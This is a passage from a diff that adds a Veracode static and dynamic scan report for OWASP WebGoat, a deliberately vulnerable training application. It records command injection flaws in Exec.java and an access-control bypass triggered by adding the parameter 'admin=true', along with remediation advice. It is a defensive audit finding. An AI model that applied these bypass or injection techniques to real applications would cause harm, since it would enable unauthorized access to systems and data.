+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"103\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"ExecResults execOptions(java.lang.String  [], java.lang.String,
+        int, int, byte)\" functionrelativelocation=\"9\"><exploitability_adjustments><exploitability_adjustment
+        score_adjustment=\"1\"><note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"122\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Runtime.exec\" description=\"This
+        call to java.lang.Runtime.exec() contains a command injection flaw. The argument
+        to the function is constructed using user-supplied input. If an attacker is
+        allowed to specify all or part of the command, it may be possible to execute
+        commands on the server with the privileges of the executing process. The level
+        of exposure depends on the effectiveness of input validation routines, if
+        any. exec() was called on the getRuntime() object, which contains tainted
+        data. The tainted data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters. Most APIs that
+        execute system commands also have a &quot;safe&quot; version of the method
+        that takes an array of strings as input rather than a single string, which
+        protects against some forms of command injection.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/78.html) \r\nOWASP (http://www.owasp.org/index.php/Command_Injection)
+        \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\" note=\"\"
+        cweid=\"78\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"18\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"292\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"ExecResults execOptions(java.lang.String, java.lang.String,
+        int, int, byte)\" functionrelativelocation=\"9\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n<dynamicflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"276\"
+        module=\"dynamic_analysis\" type=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" description=\"This call contains
+        a command injection flaw. The argument to the function is constructed using
+        user-supplied input. If an attacker is allowed to specify all or part of the
+        command, it may be possible to execute commands on the server with the privileges
+        of the executing process. The level of exposure depends on the effectiveness
+        of input validation routines, if any.\r\n\r\nValidate all user-supplied input
+        to ensure that it conforms to the expected format, using centralized data
+        validation routines when possible. When using black lists, be sure that the
+        sanitizing routine performs a sufficient number of iterations to remove all
+        instances of disallowed characters. Most APIs the execute system commands
+        also have a &quot;safe&quot; version of the method that takes an array of
+        strings as input rather than a single string, which protects against some
+        forms of command injection.\r\n\r\n\r\nCWE (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=78)
+        \r\nOWASP (http://www.owasp.org/index.php/Command_Injection) \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\"
+        note=\"\" cweid=\"78\" remediationeffort=\"3\" categoryid=\"18\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"
+        vuln_parameter=\"File\"/>\n</dynamicflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"-1\" categoryname=\"Other\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"These flaws do not fit into one of Veracode's existing categories.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Please see individual flaw descriptions for remediation guidance.\"/>\n</recommendations>\n<cwe
+        cweid=\"807\" cwename=\"Reliance on Untrusted Inputs in a Security Decision\"
+        pcirelated=\"false\" sans=\"866\" certcpp=\"878\" certjava=\"859\">\n<description>\n<text
+        text=\"The application uses a protection mechanism that relies on the existence
+        or values of an input, but the input can be modified by an untrusted actor
+        in a way that bypasses the protection mechanism.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Reliance on Untrusted Inputs in a Security Decision\"
+        count=\"1\" issueid=\"271\" module=\"manual_analysis\" type=\"\" description=\"The
+        application uses a protection mechanism that relies on the existence of an
+        input, but the input can be modified by an untrusted actor in a way that bypasses
+        the protection mechanism. By adding the parameter 'admin' with a value of
+        'true' the administrative interface of the application is accessible to a
+        non-administrative user.\" note=\"\" cweid=\"807\" remediationeffort=\"3\"
+        exploitLevel=\"2\" categoryid=\"-1\" pcirelated=\"false\" date_first_occurrence=\"2012-02-29
+        16:13:33 UTC\" remediation_status=\"New\" cia_impact=\"\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack\"
+        cvss=\"9\" capecid=\"4\" exploitdifficulty=\"1\" inputvector=\"admin\">\n<exploit_desc>An
+        attacker can set this parameter easily within their web-browser. Links to
+        the administrative interface will then be displayed. </exploit_desc>\n<severity_desc>Attackers
+        can bypass the security decision to access whatever is being protected. The
+        consequences will depend on the associated functionality, but they can range
+        from granting additional privileges to untrusted users to bypassing important
+        security checks. Ultimately, this weakness may lead to exposure or modification
+        of sensitive data, system crash, or execution of arbitrary code.</severity_desc>\n<remediation_desc>Identify
+        all inputs that are used for security decisions and determine if you can modify
+        the design so that you do not have to rely on submitted inputs at all. For
+        example, you may be able to keep critical information about the user's session
+        on the server side instead of recording it within external data.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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